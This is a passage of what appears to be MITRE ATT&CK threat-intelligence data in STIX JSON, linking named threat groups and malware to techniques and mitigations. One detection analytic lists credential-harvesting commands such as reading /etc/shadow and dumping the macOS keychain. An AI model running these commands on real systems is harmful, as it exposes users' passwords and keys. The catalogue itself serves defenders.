2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.753Z","description":"The [CozyCar](https://attack.mitre.org/software/S0046) dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4b332b2-1cad-4403-a101-4203238ffdbf","created":"2024-02-22T22:34:02.422Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T22:34:02.422Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used ntdsutil to obtain a copy of the victim environment ntds.dit file.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4bb6f26-b659-4d1d-b0fc-f4f4efe32db6","type":"relationship","created":"2020-05-26T20:09:39.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.795Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has gained initial access by exploiting CVE-2019-18935, a vulnerability within Telerik UI for ASP.NET AJAX.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4c24712-a5cf-4c44-91cd-057dc0a85e0f","type":"relationship","created":"2020-10-19T19:49:24.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-22T17:50:47.281Z","description":"Restrict administrator accounts to as few individuals as possible, following least privilege principles. Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or endpoints.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4c59c09-2abd-4c49-8156-0ccc9214b66e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"modified":"2019-09-09T19:21:42.446Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list running processes.(Citation: Unit 42 Magic Hound Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4c82341-ac27-4966-9496-23affadc1baa","created":"2024-07-11T21:10:28.019Z","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-11T21:10:28.019Z","description":"[FRP](https://attack.mitre.org/software/S1144) can use STCP (Secret TCP) with a preshared key to encrypt services exposed to public networks.(Citation: FRP GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4c888fc-278d-43a1-98a5-5ae1b2694b82","created":"2023-04-14T15:44:25.947Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T15:44:25.947Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used residential proxies, including Azure Virtual Machines, to obfuscate their access to victim environments.(Citation: Mandiant APT29 Microsoft 365 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4cc226c-2858-4040-a90d-5cf1297fd78c","created":"2023-04-10T19:26:50.078Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T19:26:50.078Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) has the ability to combine multiple sections of a binary which were broken up to evade detection into a single .dll prior to execution.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4ceb321-f21d-4c62-9b49-cb0c64f0008e","created":"2023-06-23T20:07:13.475Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-23T20:07:13.475Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use custom communication methodologies that ride over common protocols including TCP, UDP, HTTP, SMTP, and DNS in order to blend with normal network traffic. (Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4d00569-50d8-4571-9ea8-3cafcfbfaacb","created":"2024-02-06T19:44:54.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"},{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T21:15:30.310Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used the THINBLOOD utility to clear SSL VPN log files located at `/home/runtime/logs`.(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4d2042a-c211-4145-a406-e39bc700d652","created":"2024-08-26T18:19:06.790Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:19:06.790Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) delivered various payloads to victims as spearphishing attachments.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4d6544d-0d01-4cdd-81e8-4b6382675f10","type":"relationship","created":"2019-06-28T16:11:16.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LightNeuron May 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019."},{"source_name":"Secureworks IRON HUNTER Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hunter","description":"Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}],"modified":"2022-02-22T15:46:45.802Z","description":"(Citation: ESET LightNeuron May 2019)(Citation: Secureworks IRON HUNTER Profile)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4d7be79-1cb7-4009-84d0-165cb6c7fcc6","created":"2022-09-08T15:12:48.226Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T20:14:17.997Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used [at](https://attack.mitre.org/software/S0110) to execute droppers.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a4da460a-10f9-4ae7-ac75-46460ba56f87","created":"2022-06-15T12:59:14.318Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can generate a sequence of dummy HTTP C2 requests to obscure traffic.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T12:59:14.318Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4daf827-18c5-4866-86da-97bc8c77ca99","created":"2024-04-08T17:21:03.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-08T17:22:20.329Z","description":"[Akira](https://attack.mitre.org/software/S1129) executes native Windows functions such as GetFileAttributesW and `GetSystemInfo`.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4e88205-c591-4bad-9daa-0bf8f6049c57","type":"relationship","created":"2021-02-08T21:41:25.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-08T21:41:25.802Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has a function to download a file to the infected system.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4e89138-7df9-4be1-9d45-4089f1744ad0","created":"2023-03-22T05:33:17.101Z","revoked":false,"external_references":[{"source_name":"ATT Sidewinder January 2021","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021.","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf"},{"source_name":"Rewterz Sidewinder APT April 2020","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021.","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:33:17.101Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used base64 encoding for scripts.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4e96b11-6f07-422c-bf18-9866ee6fb6a9","created":"2022-06-14T15:18:49.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:48:10.570Z","description":"[Kevin](https://attack.mitre.org/software/S1020) has Base64-encoded its configuration file.(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4e9aaf6-2c02-45cf-9603-090d65cd8c37","created":"2023-02-08T19:03:52.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T20:48:45.061Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use LDAP queries and `nltest /domain_trusts` for domain trust discovery.(Citation: Palo Alto Brute Ratel July 2022)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a4eb7719-b7e3-438e-8cb6-ebd576e74bbb","type":"relationship","created":"2020-09-23T18:12:03.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.141Z","description":"(Citation: ESET Dukes October 2019)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a4ec9b64-726b-4f6e-9115-98653d2bf8d4","created":"2024-09-23T22:27:52.229Z","revoked":false,"external_references":[{"source_name":"therecord_redcurl","description":"Antoniuk, D. (2023, July 17). RedCurl hackers return to spy on 'major Russian bank,' Australian company. Retrieved August 9, 2024.","url":"https://therecord.media/redcurl-hackers-russian-bank-australian-company"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:27:52.229Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has gained access to a contractor to pivot to the victim’s infrastructure.(Citation: therecord_redcurl)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5011724-f525-49dd-951a-5733fb5e8885","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:36:15.283Z","description":"Monitor executed commands and arguments that may search for common password storage locations to obtain user credentials.\n\nAnalytic 1 - Commands indicating credential searches.\n\n (index=os sourcetype IN (\"Powershell\", \"linux_secure\", \"macos_secure\") \nCommandLine IN (\"*findstr* /si password\", \"*findstr* /si pass\", \"*grep* -r password\", \"*grep* -r pass\", \"*grep* -r secret\", \"*security* find-generic-password\", \"*security* find-internet-password\", \"*security* dump-keychain\", \"*gsettings* get org.gnome.crypto.cache\", \"*cat* /etc/shadow\", \"*strings* /etc/shadow\", \"*ls -al* ~/.ssh/known_hosts\", \"*ssh-add* -L\")\n)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5015a35-a6a2-4289-8d79-79b583c23e63","type":"relationship","created":"2017-05-31T21:33:27.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2019-03-22T18:44:28.659Z","description":"(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd","target_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a501c3c3-66f7-4128-bf47-b6bf816d5411","type":"relationship","created":"2019-04-12T15:39:22.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2020-03-16T17:50:18.646Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used FTP to exfiltrate files (separately from the C2 channel).(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5022441-bc5e-4b19-a773-b96b2719d1bb","type":"relationship","created":"2019-01-30T18:53:05.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","source_name":"Symantec APT28 Oct 2018"},{"source_name":"ESET LoJax Sept 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."}],"modified":"2020-03-20T16:37:06.257Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a UEFI (Unified Extensible Firmware Interface) rootkit known as [LoJax](https://attack.mitre.org/software/S0397).(Citation: Symantec APT28 Oct 2018)(Citation: ESET LoJax Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a50651b9-581a-4c77-b383-679a9c42e2b5","created":"2024-07-01T20:06:37.867Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:06:37.867Z","description":"Consider periodic review of accounts and privileges for critical and sensitive CRM data.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a508c28d-76f7-4277-a9d2-5936f9d86e43","created":"2023-03-08T21:04:53.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Avertium Black Basta June 2022","description":"Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 